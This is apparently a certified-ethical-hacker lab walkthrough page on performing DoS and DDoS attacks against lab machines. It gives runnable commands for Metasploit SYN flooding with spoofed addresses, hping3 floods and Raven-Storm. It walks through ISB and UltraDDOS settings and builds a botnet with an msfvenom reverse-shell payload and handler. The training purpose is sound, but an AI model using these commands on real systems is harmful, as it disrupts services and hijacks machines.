> For the complete documentation index, see [llms.txt](https://ceh-practical.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ceh-practical.cavementech.com/module-10.-denial-of-service/1.-perform-dos-and-ddos-with-various-techniques.md).

# 1. Perform DOS and DDOS with various techniques

{% embed url="<https://rumble.com/embed/v6m3pdu/?pub=4jw86f>" %}
Perform, Detect and Stop DOS attacks - CEH Ilabs Walkthrough
{% endembed %}

## <mark style="color:red;">1. Perform DOS (syn flooding) using Metasploit</mark>

```
use auxillary/dos/tcp/synflood
set RHOST 192.168.18.110
set RPORT 21
set SHOST 192.168.18.1    \\Spoofed IP
exploit
```

## <mark style="color:red;">2. Perform DOS attack using HPing3</mark>

```
hping3 -S 192.168.18.110 -a 192.168.18.1 -p 22 --flood
```

{% hint style="info" %}
-S sets the syn flag

-a spoof the address

\--flood  sends a large no of packets
{% endhint %}

**Ping of death**

```
hping3 -d 65538 -S -p 22 --flood 192.168.18.110 
```

{% hint style="info" %}
-d sets the data size
{% endhint %}

**UDP protocol flooding on NetBios (139)**

```
hping3 -2 -p 139 --flood 192.168.18.110  \\-2 specifies the UDP mode
```

## <mark style="color:red;">3. Perform a DOS attack using Rven-Storm</mark>

{% embed url="<https://github.com/Tmpertor/Raven-Storm>" %}

```
sudo rst
l4
ip 192.168.18.110
port 8080
threads 20000
run
```

## <mark style="color:red;">4. Perform DDOS using HOIC</mark>

<figure><img src="/files/GL3l8Y2uAUmRet6Z2jYH" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">5. Perform DDOS using LOIC</mark>

<figure><img src="/files/t3r1bayV6m3i7x0wWqpg" alt=""><figcaption></figcaption></figure>

## 6. Perform a DDoS Attack using ISB and UltraDDOS-v2 <a href="#task-1-perform-a-ddos-attack-using-isb-and-ultraddos-v2" id="task-1-perform-a-ddos-attack-using-isb-and-ultraddos-v2"></a>

{% embed url="<https://sourceforge.net/projects/isb/>" %}

{% embed url="<https://sourceforge.net/projects/ultraddos/>" %}

1. One the ISB tool, ISB window appears, using this tool we can perform various attacks such as **HTTP Flood**, **UDP Flood**, **TCP Flood**, **TCP Port Scan**, **ICMP Flood**, and **Slowloris**. Additionally, we can gather **Target Info** using the **WHOIS**, **NS**, **TRACEROUTE**, **BROWSER**, **PING** options present in the tool.
2. Here, we will perform **TCP Flood** attack on the target **Windows Server 2019** machine. To do so, enter the IP address of the **Windows Server 2019** in the **URL:** field (here, **10.10.1.19**), port number (here, **80**) in the **Port:** field and click on **Set Target**.
3. The IP address of Windows Server 2019 along with the port number appears in the **Set:** field.

   ![isb1.jpg](https://labondemand.blob.core.windows.net/content/lab168805/instructions255482/isb1.jpg)
4. Now, under **Attacks** navigate to **TCP Flood** tab and type **10** in the **Interval** field, **256** in the **Buffer** field and **1000** in the **Threads** field.

   ![isb2.jpg](https://labondemand.blob.core.windows.net/content/lab168805/instructions255482/isb2.jpg)
5. Leave the **ISB** window running and click [Windows Server 2022](https://labclient.labondemand.com/Instructions/0d88a0fa-9d2b-4d88-a222-607b5436898d#) to switch to the **Window Server 2022** machine.

### Ultra DDOS tool

1. Run **ultraddos.exe** file.

   > If an **Open File - Security Warning** appears, click **Run**.

   ![Screenshot](https://labondemand.blob.core.windows.net/content/lab168805/screens/khjekjxo.jpg)
2. A **Command Prompt** window appears, in the **Ultra DDOS v2** window, click **OK**.
3. In the **Ultra DDOS v2** window, click on **DDOS Attack** button.

   ![Screenshot](https://labondemand.blob.core.windows.net/content/lab168805/screens/plbbrew2.jpg)
4. In the **Please enter your target. This is the website or IP address that you want to attack.** field, type **10.10.1.19** (IP address of **Windows Server 2019** machine) and click **OK**.

   ![Screenshot](https://labondemand.blob.core.windows.net/content/lab168805/screens/krort3ch.jpg)
5. In the **Please enter a port. 80 is most commonly used, but you can use any other valid port**. field, enter **80** and click **OK**.

   ![Screenshot](https://labondemand.blob.core.windows.net/content/lab168805/screens/c3c3sk55.jpg)
6. In the **Please enter the number of packets you would like to send. More is better, but too many will crash your computer**. field, type **1000000** and click on **OK**.
7. In the **Please enter the number of threads you would like to send. This can be the same number as the packets.** field, type **1000000** and click on **OK**.

   ![Screenshot](https://labondemand.blob.core.windows.net/content/lab168805/screens/i325zvvm.jpg)
8. In the **The attack will start once you press OK. It will keep going until all requested packets are sent**. pop-up window, click **OK**.

   ![Screenshot](https://labondemand.blob.core.windows.net/content/lab168805/screens/ach4fiim.jpg)
9. As soon as you click on **OK** the tool starts DoS attack on the **Windows Server 2019** machine.

   ![Screenshot](https://labondemand.blob.core.windows.net/content/lab168805/screens/5eu0nvdd.jpg)
10. Click Windows 11 to switch to the **Windows 11** machine, and in the **ISB** window click on **Start Attack** button.

    ![Screenshot](https://labondemand.blob.core.windows.net/content/lab168805/screens/xgbxpda0.jpg)

You can open the resource monitor to view that resources are being exhausted.

## 7. Perform a DDoS Attack using Botnet <a href="#task-2-perform-a-ddos-attack-using-botnet" id="task-2-perform-a-ddos-attack-using-botnet"></a>

Create a metasploit exploit.

```
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=6969 -f exe > exploit1.exe
```

Similarly make exploits fir each of your bot.

Now, you can directly run multihandle, running the following command.

```
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 10.10.1.13; set lport 6969; run"
```

Now, you can upload scripts to exploited targets.

{% embed url="<https://github.com/WH1T3-E4GL3/eagle-dos>" %}

<figure><img src="/files/l0drVafK062ZFEs7OxWN" alt=""><figcaption></figcaption></figure>

Now, you can run the script from all your bots.\
Run the DDoS file using command **python eagle-dos.py** on windows shell terminal. It will ask for Target's IP, type **10.10.1.9** and hit enter.

<figure><img src="/files/bL4SvAdyW1gQSx4Z1I4L" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.udemy.com/course/ethical-hacker-practical/?referralCode=289CF01CF51246BCAD6C>" %}